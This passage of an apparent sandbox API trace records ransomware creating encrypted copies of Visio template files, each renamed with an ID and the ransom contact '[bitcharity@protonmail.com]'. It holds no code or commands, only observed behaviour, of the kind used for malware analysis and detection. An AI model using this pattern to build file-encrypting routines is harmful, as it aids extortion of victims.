out: lpNewFilePointer=0x0) returned 1 [0275.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETSYM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netsym_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.794] CloseHandle (hObject=0x1270) returned 1 [0275.794] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.794] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETWME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netwme_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.794] CloseHandle (hObject=0x1270) returned 1 [0275.795] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.795] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETWME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netwme_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.795] CloseHandle (hObject=0x1270) returned 1 [0275.796] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.796] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETW_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netw_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.796] CloseHandle (hObject=0x1270) returned 1 [0275.797] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.797] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETW_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netw_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.797] CloseHandle (hObject=0x1270) returned 1 [0275.798] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.798] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFACC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offacc_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.798] CloseHandle (hObject=0x1270) returned 1 [0275.799] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.799] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFACC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offacc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.799] CloseHandle (hObject=0x1270) returned 1 [0275.800] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.800] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFACC_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offacc_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.801] CloseHandle (hObject=0x1270) returned 1 [0275.801] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.801] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFACC_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offacc_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.802] CloseHandle (hObject=0x1270) returned 1 [0275.802] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.803] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFEQP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offeqp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.803] CloseHandle (hObject=0x1270) returned 1 [0275.804] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.804] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFEQP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offeqp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.804] CloseHandle (hObject=0x1270) returned 1 [0275.805] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.805] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFEQP_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offeqp_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.805] CloseHandle (hObject=0x1270) returned 1 [0276.346] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.346] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFEQP_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offeqp_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.347] CloseHandle (hObject=0x1154) returned 1 [0276.348] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.348] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFFRN_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offfrn_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.348] CloseHandle (hObject=0x1154) returned 1 [0276.349] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.349] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFLYT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offlyt_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.350] CloseHandle (hObject=0x1154) returned 1 [0276.351] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.351] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFLYT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offlyt_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.351] CloseHandle (hObject=0x1154) returned 1 [0276.351] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.352] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ONPAGEFLOWCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\onpageflowchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.352] CloseHandle (hObject=0x1154) returned 1 [0276.352] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.352] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ONPAGEFLOWCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\onpageflowchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.353] CloseHandle (hObject=0x1154) returned 1 [0276.353] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.353] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGBLT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgblt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.354] CloseHandle (hObject=0x1154) returned 1 [0276.354] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.354] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGBLT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgblt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.355] CloseHandle (hObject=0x1154) returned 1 [0276.355] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.355] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGBND_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgbnd_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.356] CloseHandle (hObject=0x1154) returned 1 [0276.356] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.356] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGBND_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgbnd_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.356] CloseHandle (hObject=0x1154) returned 1 [0276.358] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.358] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGCH_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgch_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.358] CloseHandle (hObject=0x1154) returned 1 [0276.359] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.359] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGCH_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgch_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.359] CloseHandle (hObject=0x1154) returned 1 [0276.362] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.362] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGCH_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgch_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.362] CloseHandle (hObject=0x1154) returned 1 [0276.363] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.363] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGCH_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgch_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.363] CloseHandle (hObject=0x1154) returned 1 [0276.364] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.364] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGCNS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgcns_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.364] CloseHandle (hObject=0x1154) returned 1 [0276.365] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.365] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGCNS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgcns_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.365] CloseHandle (hObject=0x1154) returned 1 [0276.366] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.366] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\orgico_m.vssx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgico_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.366] CloseHandle (hObject=0x1154) returned 1 [0276.367] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.367] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\orgico_u.vssx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgico_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.367] CloseHandle (hObject=0x1154) returned 1 [0276.368] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.368] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGNCH_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgnch_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.368] CloseHandle (hObject=0x1154) returned 1 [0276.369] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.370] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGNCH_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgnch_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.370] CloseHandle (hObject=0x1154) returned 1 [0276.371] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, 